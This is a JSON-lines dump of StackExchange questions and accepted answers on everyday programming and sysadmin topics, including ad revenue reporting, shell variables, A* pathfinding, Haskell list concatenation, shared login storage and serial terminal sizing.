{  "id": "_webmaster.89669"  , "question": "Can we get the revenue generated by (the ads on) each of the individual URLs on my website? Other than, you know, by adding URL channels manually at both Adsense and Ad Exchange and then summing up the revenues. I know that the SlotRenderEndedEvent of the GPT API can give me information as far as the line item id, service that rendered the ad slot etc. Can it, may be, give more info like the pricing rule used (at adx) etc - so that I can get an estimate on the revenue?Any other new solution is also fine - as long as it's not adding URL channels manually. (There is no API to add URL channels to Adx).PS: I do not have Google Analytics Premium, so I cannot connect DFP to GA."  , "title": "Is there a way to get DFP revenue/cpm by URL?"  , "tags": "google adsense;google dfp;doubleclick ad exchange"  , "accepted_answer": "AFAIK you won't get any pricing data from the event.  But you can get the line item and potentially other useful info from the event.  You can query the DFP reporting (even without premium) to get the impressions/revenue for that line item.  If you have other key-value data you pass through, you can get more detailed info about revenue broken apart by the different KV."  } 
{  "id": "_unix.42223"  , "question": "Let's say I have a script:#!/bin/bashecho $1if [[ ! $1 ]];thenecho Truefiexport ABC=/home/aashishABC is not available after the execution of this script. How can I make that variable persist after the execution as well?"  , "title": "How can I set environment variable permanently through shell script?"  , "tags": "shell script;environment variables"  , "accepted_answer": "source it into current shell session."  } 
{  "id": "_codereview.166050"  , "question": "I have a system that parses a mathematical expression String, creates a derivative expression tree, and reconstructs the derived expression into a new String.  I am looking for a method to shorten my code/organize it/make it more abstract.Here is what one of my classes looks like.  This is the Product class, one of several subclasses of the BinaryOperator class, a subclass of the Expression class.  As you can see, it applies differentiation rules and re-write rules:Product.javapublic class Product extends BinaryNode {    public Product(Expression left, Expression right) {        super(left, right, BinaryOperator.MULTIPLY);    }    @Override    public Expression derive() {        Expression l = left.derive();        Expression r = right.derive();        return new Sum(                new Product(l, right),                new Product(left, r)        );    }    @Override    public Expression reduce() {        Expression l = left.reduce();        Expression r = right.reduce();        // C*C ==> C        // x*C ==> C*x        if(l instanceof Constant || r instanceof Constant) {            if(l.getType().equals(1)) { // Ex: 1*5 (polish: 15*) ==> 5                return r;            }            if(r.getType().equals(1)) { // Ex: 5*1 (polish: 51*) ==> 5                return l;            }            if(l.getType().equals(0)) { // Ex: 0*5 (polish: 05*) ==> 0                return l;            }            if(r.getType().equals(0)) { // Ex: 5*0 (polish: 50*) ==> 0                return r;            }            if(l instanceof Constant && r instanceof Constant) { // Ex: 5*5 (polish: 55*) ==> 25                return new Constant(l.getValue() * r.getValue());            }            if(!(l instanceof Constant)) { // Ex: x*5 (polish: x5*) ==> 5*x                Expression tmp = l;                l = r;                r = tmp;            }        }        // Ex: x^2 * C ==> C * x^2        if(l instanceof Exponent) {            Expression tmp = l;            l = r;            r = tmp;        }        // C*x*C*x ==> (C*C)*(x*x)        if(r instanceof Product && l instanceof Product) {        }        // C*x*C ==> (C*C)*x        if(r instanceof Product) {            if (l instanceof Constant) {                if (r.getLeftChild() instanceof Constant) { // Ex: 4*4*x (polish: 44x**) ==> 16*x                    return new Product(                            new Constant(l.getValue() * r.getLeftChild().getValue()),                            r.getRightChild()                    );                }                if (r.getRightChild() instanceof Constant) { // Ex: 4*x*4 (polish: 4x4**) ==> 16*x                    return new Product(                            new Constant(l.getValue() * r.getRightChild().getValue()),                            r.getLeftChild()                    );                }            }        }        // C*x*C => (C*C)*x        if(l instanceof Product) {            if (r instanceof Constant) {                if (l.getLeftChild() instanceof Constant) { // Ex: 4*x*4 (polish: 4x*4*) ==> 16*x                    return new Product(                            new Constant(r.getValue() * l.getLeftChild().getValue()),                            l.getRightChild()                    );                }                if (l.getRightChild() instanceof Constant) { // Ex: x*4*4 (polish: x4*4*) ==> 16*x                    return new Product(                            new Constant(r.getValue() * l.getRightChild().getValue()),                            l.getLeftChild()                    );                }            }        }        if(r instanceof Quotient) {            Expression numerator;            if(r.getLeftChild().getType().equals(1)) {                numerator = left;            }            else {                numerator = new Product(                        left,                        r.getLeftChild()                );            }            return new Quotient(                    numerator,                    r.getRightChild()            );        }        return new Product(l, r);    }    @Override    public double getValue() {        if(left instanceof Constant)            return left.getValue();        if(right instanceof Constant)            return right.getValue();        return 0;    }}I found this, and was thinking that I could have a Rewrite class and a Rules class that recursively analyzes and compares trees while looking for patterns.Example: \\$x^2 \\cdot x^2 \\rightarrow x^4\\$"  , "title": "Computer Algebra System that computes symbolic derivatives"  , "tags": "java;expression trees"  } 
{  "id": "_cstheory.17761"  , "question": "What is the relationship between $\\mathsf{PLS}$ and $\\mathsf{APX}$? In other words, are problems that admit a polynomial time local search approximable? Do approximable optimization problems imply a local search algorithm in general?"  , "title": "What is the relationship between $\\mathsf{PLS}$ and $\\mathsf{APX}$?"  , "tags": "cc.complexity theory;approximation algorithms"  } 
{  "id": "_cs.76648"  , "question": "Given is graph with networks and bridges/switches. We know, the rootBridge is the bridge with the minimal Bridge-ID. The connections between every bridge and network is 1.In the lecture slides they calculated the best(shortest) path from one network to the root bridge. I assume they used BFS, because it would be the easiest way to calculate the shortest path, but if they used BFS, why is the algorithm called Spanning-Tree-Algorithm?"  , "title": "Spanning-Tree-Protocol and BFS? (Distributed Computing)"  , "tags": "distributed systems;spanning trees"  } 
{  "id": "_unix.341721"  , "question": "I have the following test.txt. Using below command its printing output: xvf-9c3683ff. However I need the output xvf-bcb500df. It is based on its last date.cat test.txt | sort -k2 | awk '{print $2}' | sed 's///g' | grep xvf | head -1test.txt{    date: 2017-01-30T10:55:46.000Z,     Id: xvf-9c3683ff}, {    date: 2017-01-26T12:58:20.000Z,     Id: xvf-bcb500df}, {    date: 2017-01-31T18:33:20.000Z,     Id: xvf-ee07b28d}output should print below result.xvf-bcb500df "  , "title": "grep with sort on column"  , "tags": "grep"  } 
{  "id": "_softwareengineering.187539"  , "question": "I have a question about the best practice in this situation.At one point, my small application allowed the client to upload a file to a server, and download a file from the server (it would also compress / decompress as well).This was created in 1 solution which consisted of 4 projects:FTPCompressDecompressUITestsNow, the spec has changed and there will 2 end users, one who only wants to upload, the other who only wants to download and they should never have access to anything else (ie downloading people cannot upload and vice versa).So, I have a few choices here. I could either Keep it as 1 solution, and ask users to login, based upon the credentials will display a different UI Alter my UI so it only shows tools to download, create a new solution which consists of just a UI project and reference my .dll accordingly.Delete my UI, create 2 new solutions, each solution being created for either download or upload (and each solution probably only consisting of just 1 project, the UI) and again, referencing the .dllDoes any one have any suggestions? Would any guidelines have allowed me to have not gotten into this situation in the first place (or at least made me more aware of the potential disasters)?"  , "title": "How do I alter my solution / project when the spec changes"  , "tags": "programming practices"  , "accepted_answer": "I am mildly surprised by the requirement that the uploading user is only allowed to upload. I can see a use-case for read-only access (download only), but much less for write-only access (upload only), unless that role is to be filled by an automated system.With that in mind, I would weigh my options as followsIf both users are expected to be human, extend the UI with login functionality and provide either the upload or download functionality, depending on the user credentials. This keeps the project future-proof for the case that there will be another requirements change to support both up- and download again for one user.If one of the users is expected to be a machine, add another project to the solution, providing an API that is tailored for machine-machine communication, parallel to the functionality you currently have in the UI. The unneeded functionality should be stripped from the UI.Big scope-changes like this can usually not be foreseen during the initial development of a project, so there are no guidelines to prepare your codebase for them.What you can prepare for are requirements that seem oddly restricting (like the write-only user you have now), and write your code in such a way that the requirement can change without forcing a complete rewrite of a project."  } 
{  "id": "_codereview.14753"  , "question": "This is a slightly specialised A* algorithm, basically it allows you to search to and from disabled nodes. It's for a game and we the entities spawn in houses and go into them. The rest of the search behaves normally, it doesn't traverse any disabled nodes in between the start and end points.NavData is a class which has the collections of nodes and edges in as well as some other things listed below:(also edges and nodes are simple. edges have two integers - connect from node and connected to node. They also have a value for their weight. Nodes have an int index, a vector3 position and an enabled bool)private List<Node>                              nodes; //just a list of all nodes in the level, unsortedprivate Dictionary<int, Dictionary<int, Edge>>  edges;//edges[fromNode][toNode] private List<List<int>>                         nodeAdjacencies; //maintains a list of each node's connected nodes which can be used to index into 'nodes'private List<Edge>                              simpleEdges; //this keeps all the edges in one big list for easy traversalprivate bool aStarCore( int start, int goal, out List<Edge> shortestPath, out Dictionary<int, Edge> SPT ){    SPT = new Dictionary<int, Edge>(); //[toNode] = Edge    NavData ND = NavData.GetSingleton;    Vector3 targetCoords = ND.Nodes[goal].Position; // for calculating heuristic     shortestPath = new List<Edge>();    SortedList<float, List<int>> openList = new SortedList<float, List<int>>();//lump nodes with same cost together, doesn't matter which one we grab    List<int>                    searchedNodes = new List<int>(); // could definitely make this more efficient (find a better collection for lookup)    // push the start node onto the open list    openList.Add( Vector3.Distance( ND.Nodes[start].Position, targetCoords ), new List<int>() );    openList[     Vector3.Distance( ND.Nodes[start].Position, targetCoords ) ].Add( start );    int openListCount = 1;    searchedNodes.Add(start);    // while there are still nodes on the open list    while ( openListCount > 0 )     {        // look at the next lowest cost node        int source = openList[ openList.Keys[0] ][0];//first node of first list        if (openList[ openList.Keys[0]].Count == 1)            openList.Remove( openList.Keys[0] );        else            openList[ openList.Keys[0] ].RemoveAt(0);        openListCount--;        //Debug.Log( source:  + source );        // only allow the code to look at enabled nodes, ( unless it's the start         // node as I assume we'll want the agents to emerge from occupied tiles )        if ( ND.Nodes[source].Enabled == true || source == start )        {            for ( int i = 0; i < ND.NodeAdjacencies[source].Count; i++ )            {                   //Debug.Log(adjacency count:  + nodeAdjacencies[source].Count);                int target = ND.NodeAdjacencies[source][i];                if ( !searchedNodes.Contains( target ) )                {                       SPT.Add( ND.Edges[source][target].ToNode, ND.Edges[source][target] );                    //does the key(cost) already exist?                    float costToNode = ND.Edges[source][target].Weight + Vector3.Distance(ND.Nodes[target].Position, targetCoords);                    if ( openList.ContainsKey(costToNode) )                    {                        openList[costToNode].Add(target);                    }                    else                    {                        openList.Add( costToNode, new List<int>() );                        openList[costToNode].Add(target);                    }                    searchedNodes.Add( target );                    openListCount++;                    if ( target == goal )                     {                         //calculate shortest path from the SPT                        int counter = target;                        while ( counter != start )                        {                            shortestPath.Add(SPT[counter]);                            counter = SPT[counter].FromNode;                        }                        return true;                     }                }            }        }    }    shortestPath = null;    return false;}"  , "title": "How can I make my A* algorithm faster?"  , "tags": "c#;lookup;pathfinding"  } 
{  "id": "_unix.236571"  , "question": "I want to find C source code for scanf implementation on Linux machine. Googling to find scanf implementation does not tell me the way to find it. I tried to find that source code from gcc source tree using ctags and cscope, but I could not find it. Can anybody please tell me where is scanf function definition, i.e. implementation source code? "  , "title": "Where is `scanf` implementation source code?"  , "tags": "c;source;printf"  , "accepted_answer": "It's in glibc library scanf.c sourceglibc stands for GNU C Library. It is a C standard library implementation. It's not a part of the compiler, because you might have different implementations of it (like Microsoft C run-time for example) as well as different compilers (like clang)."  } 
{  "id": "_codereview.157344"  , "question": "I saw this interview question and decided to solve using recursion in Java.Write a multiply function that multiples 2 integers without using *public class Main {  public static void main(String[] args) {    Scanner in = new Scanner(System.in);    System.out.println(Enter first num: );    double num = in.nextDouble();    System.out.println(Enter second num: );    double numTwo = in.nextDouble();    System.out.println(multiply(num, numTwo));  }  private static double multiply(double x, double y) {    if (x == 0 || y == 0) {      return 0;    } else if (y > 0) {      return x + multiply(x, y - 1);    } else if (y < 0) {      return -multiply(x, -y);    } else {      return -1;    }  }}What should I return instead of -1 to make this clear?"  , "title": "Multiplying 2 numbers without using * operator in Java"  , "tags": "java;recursion;interview questions"  , "accepted_answer": "What should I return instead of -1 to make this clear?Don't return -1, but recognise that you have exhausted the possible states of y, so simply do a return for the last possibility.private static double multiply(double x, double y) {    if (x == 0 || y == 0) {        return 0;    } else if (y > 0) {        return x + multiply(x, y - 1);    }    return -multiply(x, -y);}"  } 
{  "id": "_codereview.84523"  , "question": "Given a list of strings, my task is to find the common prefix.Sample input: [madam, mad, mast]Sample output: maSample input: [question, method]Sample output: Below is my solution, I'd be happy for help improving the algorithm (I'm open to totally different approaches) or general code improvement tips.Thanks :)public class PreFixer {    public static void main(String[] args) {        if(args.length < 1) {            System.out.println(invalid arguments);            return;        }        String commongPrefix = getCommonPrefix(args);        System.out.println(Common Prefix for list is :  + commongPrefix);    }    private static String getCommonPrefix (String[] list){        int matchIndex = recursiveChecker(0, list);        return list[0].substring(0, matchIndex);    }    private static int recursiveChecker(int strIndex, String[] list){        for(int x=0; x<list.length; x++) {            if(strIndex >= list[x].length()){                return strIndex;            }            if(list[0].charAt(strIndex) != list[x].charAt(strIndex)) {                return strIndex;            }        }        return recursiveChecker(strIndex + 1, list);    }}"  , "title": "Finding the common prefix in a list of strings"  , "tags": "java;algorithm;strings"  , "accepted_answer": "There are some inconsistencies in your code style: sometimes you do put a space before an opening curly bracket, sometimes you don't. It is a good practice to adhere to one style(in this case, it is conventional to have a whitespace there). It is also conventional to surround all binary operators with whitespaces to make the code more readable. For instance, for(int x = 0; x < list.length; x++) looks better than for(int x=0; x<list.length; x++). In terms of time complexity, you algorithm is optimal(it is linear in the size of input). However, if it is supposed to work with long strings, I'd use iteration instead of recursion(it gets a StackOverflowError when the strings get really big). Here is my iterative solution:public static String getLongestCommonPrefix(String[] strings) {    int commonPrefixLength = 0;    while (allCharactersAreSame(strings, commonPrefixLength)) {        commonPrefixLength++;    }    return strings[0].substring(0, commonPrefixLength);}private static boolean allCharactersAreSame(String[] strings, int pos) {    String first = strings[0];    for (String curString : strings) {        if (curString.length() <= pos                 || curString.charAt(pos) != first.charAt(pos)) {            return false;        }    }    return true;}In general, each class should have single responsibility(that it, you might create two separate classes here: one for computing the longest prefix and the other one for checking and parsing command-line arguments).  But I think it is fine to have one class here(the entire class is pretty small) as long as the format of arguments is not going to change in the future."  } 
{  "id": "_softwareengineering.101431"  , "question": "Hello and I'm apologizing in advance if this question doesn't fit programmers section of stackexchange.I'll try to clarify what the problem is by telling a story where the problem originates from.I'm working in a small company (8 people) where we have developers, sys admins and staff that handles day to day calls.The problem is the logins. There are various logins, for example web server root login. Then there's MySQL login, login for apps that we develop and to make the thing even more complex - logins differ from local development and testing versions to the ones that are actually deployed which makes the whole thing even more messier.What's happening is that no one knows all of the logins, and they're either written down somewhere deep on cryptically named files or certain people know them by heart. If someone who knows the login for the thing we need to work with is away (say holiday), the process of retrieving the login becomes a huge mess.Now, we are aware how terrible that is and we're looking into improving our login / project management. The other problem is that not everyone should know all the logins.My question is: how do you (or how would you) handle storing logins such as web server root information, web app admin login etc. in such a way that it's available to everyone within the company, but with restricted access (say, a secretary cannot obtain root details, no offence to secretaries)?P.S. I just spent 3 hours obtaining the login details to change a simple spelling mistake on a project which took exactly 1 second after I had the info. Seeing I can't afford losing any more nerves or time over such seemingly trivial things, I'm begging experienced and smart guys for help. Thanks in advance :)"  , "title": "How to handle storing the login data for various projects and web servers?"  , "tags": "project management"  , "accepted_answer": "Almost every server product or product targeted toward businesses can use LDAP. I'd go so far as to say that it's irresponsible not to do it in this day and age.Set up a directory server if you don't already have one, configure server products like mysql to use it, then update the authentication systems in whichever products you own the source for. One login for every app on the internal network.Logins to vendor sites are another story but you don't really mention those. I wouldn't waste time maintaining an enterprise-wide password vault unless I absolutely had to; it's too easy to run into problems with sensitive information getting stored in the wrong place or low-level idiots forgetting the password to the password vault (or worse, writing it down on a sticky note and attaching it to their monitor). Even if the information doesn't seem all that valuable, I would only ever trust competent IT professionals with it. We use KeePass where I work but the database is in a restricted (Admin-only) location.If everybody gets their own private password safe then that mitigates a lot of the harm (also a lot of the usefulness); shared password vaults violate non-repudiation and that is not a situation you want to be in when there's a major disaster and the auditors come a-sniffin'."  } 
{  "id": "_softwareengineering.352352"  , "question": "I would like some input on some refactoring I am to do on a mobile backend (API).I have been tossed a mobile API which I need to refactor and improve upon, especially in the area of performance.One (of the many) place where I can improve the performance while also improve the architecture is how the backend currently deals with push notifications.Let me briefly describe how it currently works, and then how I intent to restructure it.This is how it works now. The example is about the user submitting a comment to a feed post:The user clicks send in the mobile app. The app shows a spinner and meanwhile sends a request to the backend.The backend receives the request and starts handling it. It inserts a row in the comments table, does some other bookkeeping stuff, and then for the affected mobile devices it makes a request to either the Apple Push Notification server or the Google Firebase Service (or both if the receiver has both an Android and an iPhone).On success the backend returns a 200 to the mobile app.Upon receiving status code 200 from the backend, the mobile app removes the spinner and updates the UI with the submitted comment.It is simple but the issue with the above as I see it isa) Currently this sample endpoint has too many responsibilities. It deals with saving a comment, and also with sending out push notifications to devices.b) The performance is not the best since the mobile app waits for the backend to both save a comment (which is pretty fast) and send a notification which requires a HTTP request (which can be anything from fast to slow).So my idea is to remove all about notifications from the backend, and host that in a separate backend app (you might call it a microservice).So what I am thinking is to do it like this:The user clicks Send in the mobile app. The app shows a spinner and meanwhile sends a request to the main API backend.The mobile app also sends of another HTTP request, this time to a notification service which is separate from the main API backend. This is kind of a fire and forget request. So the app does not wait for this in anyway, and it can be send in the background (in iOS using e.g. GCD).The main backend receives the request about the comment, and starts handling it. It inserts a row in the comments table, perhaps does some other bookkeeping stuff, and then it returns the response to the mobile app.The notification service receives the request about the comment, and inserts a row in a notification table (this is for historical reasons, e.g. to make an Activity view or something like that), and then puts a message on some queue (or on Redis). A separate job takes whatever is on the queue/Redis and handles it (this is where we actually send a request to Apple Push Notification Server and Googles Firebase Service). By not having the HTTP notification service do the talking with these external services it will be easier to scale the HTTP resources.Upon receiving the 200 from the main backend, the mobile app removes the spinner and updates the UI with the submitted comment. Again note that the mobile app does not wait on the second request it send off (it's not like it can do anything if that fails anyway).So this is way more complex. But the main API backend is now only concerned actually saving the comment. The mobile app also needs to send two requests instead of just one, but it doesn't need to wait for the second request. So overall it should giver better performance I think.With regards to the notification service it could be simpler by not using a queue/Redis but just have the notification service call up Apple and Google with the push notifications. But I am thinking that by separating that out into a simple HTTP service that only does some basic bookkeeping stuff and putting stuff on a queue/Redis it can be fast and simple, and the separate job would then do the actual work of calling up Apple and Google.Does it makes sense? Or have I over complicated things? All comments appreciated."  , "title": "Architecture of mobile backend"  , "tags": "api;android;ios;mobile"  } 
{  "id": "_webmaster.78660"  , "question": "BackgroundI just moved my blog over from Blogger to WordPress, and I'm trying to replicate the stats reporting that I had before. I've got Google Analytics integrated with my website, but I'm having trouble figuring out how to see the data I'm looking for.What I want is to be able to see a list of all my posts, with the number of page views: today, this week, this month, and forever. Similar to this:QuestionIs it possible to set this up?"  , "title": "How Can I See Pageviews Per Post - Google Analytics & WordPress"  , "tags": "google analytics;wordpress"  , "accepted_answer": "Look under Behavior > Site Content > All Pages"  } 
{  "id": "_webmaster.26325"  , "question": "I ran my site through the W3C validator, and a bunch of errors were caused by the Google Website Optimizer javascript.It seems weird that would happen. If I put CDATA around it, the error go away. I assume that the code will still work? So, I'm wondering if there's ever a time it's bad to put CDATA around javascript?andWhy would Google's javascript snippets not validate in the first place?"  , "title": "Google Optimizer code, validation and cdata"  , "tags": "google;google search console;validation"  , "accepted_answer": "It probably has to do with the doctype. I suspect you're using XHTML. JavaScript Contains Characters Which Can Not Exist in XHTML. Raw < and & characters are not allowed except inside of CDATA Sections. See this page for more."  } 
{  "id": "_softwareengineering.310547"  , "question": "I need to write a function to detect if a set of strings needs delimiters when concatenated in any order.For example, the strings (A,B,C) do not need a delimiter: ABCBB -> [A,B,C,B,B].However, the strings (Pop,corn,Popcorn) do need a delimiter, as the string Popcorn is ambiguous: it can either be [Pop,corn] or [Popcorn].Two more testcases:(Pop,Popcorn,Kernel) -> Not ambiguous(A,AB,BC,BA) -> Ambiguous (on the string ABCA)Algorithms that I've considered, but don't work:Testing if a string starts with another string, which fails (Pop,Popcorn,Kernel)Testing if a string is completely made up of other strings, which fails (A,AB,BC,BA)Testing all possible combinations of strings (fails to finish on non-ambiguous)How can I detect (hopefully efficiently) if a set of strings need a delimiter when concatenated?"  , "title": "Algorithm to detect if a list of strings need delimiters"  , "tags": "algorithms"  , "accepted_answer": "After some thinking, there is a simple algorithm. Assume you have two strings x and y, and neither is a prefix of the other. Nothing you could append to them would make them equal, so they are of no interest. What you are interested in are strings x and xa, where xa has not been created by adding strings to x: We might be able to add words from your list to both x and xa and get the same two strings. Actually, we are only interested in a. Let L be your list. We create a set S of all strings a such that for some x, both x and xa can be formed from words in your list, without creating xa by adding words to x. But L contains no prefix of corn and no word starting with corn, so we are finished and L is unambigous. Initially S is empty. We check all pairs (x, y) of strings in L. If x is empty or x = y then L is ambigous. Otherwise if y = xa or x = ya then add a to the set S. (In your last example, the two strings A and AB in your list add B to the set S). Then for each string x in S, and for each string y in L: If x = y then L is ambiguous. Otherwise if y = xa or x = ya then add a to the set S. Repeat until nothing else can be added to S; in that case L is unambigous. In your last example, S contains B. Since L contains BC and BA we add C and A. C doesn't let us anything because no string in L starts with C. But A is actually an element of L, which makes L ambiguous. Your first example is unambiguous because neither of A, B, C is prefix of another. In your second example, because L contains Pop and Popcorn, you add corn to S. And corn is an element of S, so it's ambigous. In your third example, we also add corn to S, but L contains no prefix of corn and no string that starts with corn, so we are finished and L is unambiguous. "  } 
{  "id": "_codereview.85803"  , "question": "I'm trying to write a function explodeBy:explodeBy :: Int -> [Int] -> [Int]explodeBy n arr = foldr (\\x acc-> (take n.repeat) x ++ acc ) [] arr This works as follows:> explodeBy 2 [1,2,3][1,1,2,2,3,3]The above uses list concatenation, so I tried writing a more efficient version:explodeBy2 n arr = foldr (\\x acc -> f n x acc) [] arrf 0 _ rest = restf rep val rest = f  ( rep -1) val (val:rest)Though this looks ugly, I expected it would work better. Reason: here we are using the (:) operator. Since rest is larger than (take n.repeat) x, I believe the second approach should have always been faster.Surprisingly:> sum $ explodeBy2 500 [2..1001]250750000(0.48 secs, 199527400 bytes)> sum $ explodeBy 500 [2..1001]250750000(0.14 secs, 102259320 bytes)explodeBy2 is consuming more time and memory!Is there something wrong with this code or my understanding of (++)? Are there also any tips on how to write explodeBy better?PS: This is where I got the impression ++ isn't efficient. Is this outdated?"  , "title": "Haskell: Efficient and clear list concatenation"  , "tags": "haskell"  , "accepted_answer": "GHCi is frequently significantly slower than compiled code even if you compile without any optimizations turned on, consider the timing information that GHCi gives you with great suspicion. Compile your code with -O2 and then time and the difference should largely disappear.One of the nice things about the Haskell Prelude is that there is very little magic going on behind the scenes. Haskell lists use some privileged constructor names ((:) and []) but besides that they are a data type like any other. So let's peek behind the curtain and take a look at how (++) is defined.(++) :: [a] -> [a] -> [a](++) []     ys = ys(++) (x:xs) ys = x : xs ++ ysYou should recognize the similarity to your function f. There is no way around the fact that growing a list by n elements takes n cons operations. When you want to add one element to the front of a list, you use (:) and that's it, you're done. When you want to add one element to the back of a list there's no constructor for that, you have to consider that element to be a new list of length one, and prepend your original list in front of it, causing you to have to walk down every single element of the original list. That is “slower” than the other case, but if the ordering of elements in your list is important you gotta do what you've gotta do, right?Take some time to familiarize yourself with the functions available in Prelude and Data.List. There are many easier ways to write explodeBy.As always, consider the types and use Hoogle. Looking at take n . repeat $ x think about the type you would give that function on its own. n is an Int, and x is any type a. So you'd have a type like func :: Int -> a -> [a]. The first hit is for replicate, which does exactly what you want.Next consider what easy intermediate values you can construct that get you closer to the result you want. The first step would be to replicate each element in the original list n times. That sounds like a job for map.map (replicate n) xs :: [[a]]Now we need :: [[a]] -> [a], which we could also search for. But this is of course list concatenation. There's one more trick you might not find by searching though, so here is when it comes in handy to have read through the documentation for Prelude. concatMap handles mapping and list concatenation in one go.explodeBy :: Int -> [a] -> [a]explodeBy n = concatMap (replicate n)"  } 
{  "id": "_unix.323402"  , "question": "I'm managing with some boards like Arduino/UDOO etc. but I always face an annoying problem with minicom or screen.If i type a long command, for example:sudo /sbin/wpa_supplicant -s -B -P /run/wpa_supplicant.wlan0.pid -i wlan0 -D nl80211 -c /etc/wpa_supplicant.confit reaches the end of terminal window, instead of continuing in a new line, it overwrites over the same line.One another annoying problem is when I up/down commands with UP/DOWN arrows. Check this gif while I up/down among last commands:This is my env:XDG_SESSION_ID=c1TERM=linuxSHELL=/bin/bashHUSHLOGIN=FALSEUSER=udooerLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/gamesMAIL=/var/mail/udooerLC_MESSAGES=POSIXPWD=/home/udooerLANG=en_US.UTF-8NODE_PATH=/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascriptHOME=/home/udooerSHLVL=2LANGUAGE=en_US.UTF-8LOGNAME=udooerLESSOPEN=| /usr/bin/lesspipe %sXDG_RUNTIME_DIR=/run/user/1000LESSCLOSE=/usr/bin/lesspipe %s %s_=/usr/bin/envcheckwinsize is ON.Even nano is resized to a minipage in top-left of the bigger screen :/How to solve it?"  , "title": "Screen/Minicom multiline problem"  , "tags": "terminal;gnu screen;minicom"  , "accepted_answer": "You need to manually execute stty cols ... rows ... and/or export LINES and COLUMNS to set the remote side's belief about the size to the terminal's actual size. Unfortunately there's no way this could be set automatically over a serial line."  } 
{  "id": "_softwareengineering.22234"  , "question": "Hypothetically speaking imagine that there exists a coworker that has a very shallow understanding of computing. To avoid stereotyping lets give this coworker the gender neutral name Chris. Now Chris' diagnostic ability is low and can't figure out the correct IP addresses to set his/her virtual machines to. Chris also fails to merge code properly and overwrites a commit I made fixing something, thereby re-introducing a bug. I let this slide, refix the bug and do not make a sound about it to management. Given a task Chris either 1) complains that there isn't sufficient information resulting in 2) you provide Chris with inordinately detailed instructions to satisfy 1). The more detail you provide in a list of steps to carry out, the more chance of an error being present in your instructions. Chris gets these instructions, tries to execute them, fails and it becomes your fault because your instructions aren't good enough. How do you deal with this? "  , "title": "Coworker that detrimentally picks on every minutia"  , "tags": "management"  , "accepted_answer": "Anyway given a task Chris either 1)  complains that there isn't sufficient  information resulting in 2) you  provide Chris with inordinately  detailed instructions to satisfy 1).  The more detail you provide in a list  of steps to carry out, the more chance  of an error being present in your  instructions.Having been in both your position and Chris's, I might be able to explain things a bit.  I hear you saying that you're giving Chris tasks, but you don't mention involving him in coming up with those instructions.  You're probably trying to help him do the right thing, but that's probably not how he sees it.  When you're in Chris's place, it's difficult not to think of what you're trying to do as saying OK, here's your work.  Now do your job, drone.In other words, the solution isn't to give Chris more instructions.  In fact, you should give him no instructions.  Instead, you should help him come up with a course of action.  Once Chris sees his role in the process, he might very well turn into a different person altogether."  } 
{  "id": "_unix.306433"  , "question": "I'm trying to make my HP Photosmart c4100 serie scanner working. From my understanding, scanbd is able to detect the button pressed of the multi-function and triggers a script (which is exactly what I need).I've installed scanbd and configured the config file (with the proper script) but when I press the button nothing happens :(I'm not sure how to debug this... I have the following questions:Is my HP compatible with scanbd?Do I have to configure scanbd for the printer/scaner? (FYI I can scan with the command: scanimage > scan.pnm)Where can I see what scanbd detects? Where is the log (sorry for this question but didn't find anything in /var/log)?"  , "title": "Detect scan button of HP multi-function"  , "tags": "scanner;sane"  } 
{  "id": "_softwareengineering.297618"  , "question": "If I have two CPU cores, one is writing a particular cache line and the other core wishes toReadWritethe same cache line, what are the costs (in cycles) for doing so? I am a little unsure whether the Read-For-Ownership request has to propagate through the L1 and L2 caches on its way to the CPU-which-already-owns-the-cache-line. When the cacheline is retrieved and returned, I know we pass through the L3, L2 and L1 caches, because all three need to be populated with the updated cache line."  , "title": "Cost of cache coherency/sharing data across multiple cores?"  , "tags": "architecture;performance;multithreading;optimization;cpu"  } 
{  "id": "_unix.44869"  , "question": "I've just been updgraded to Sky+ and I've got an old Sky box (Thomson 286_544 aka Thomson DSI4212C). How would I go about installing NetBSD (compatible with nearly everything) on it?Has anyone ever done this?"  , "title": "Installing Linux/NetBSD on an old Sky digibox?"  , "tags": "system installation;hardware compatibility;netbsd"  } 
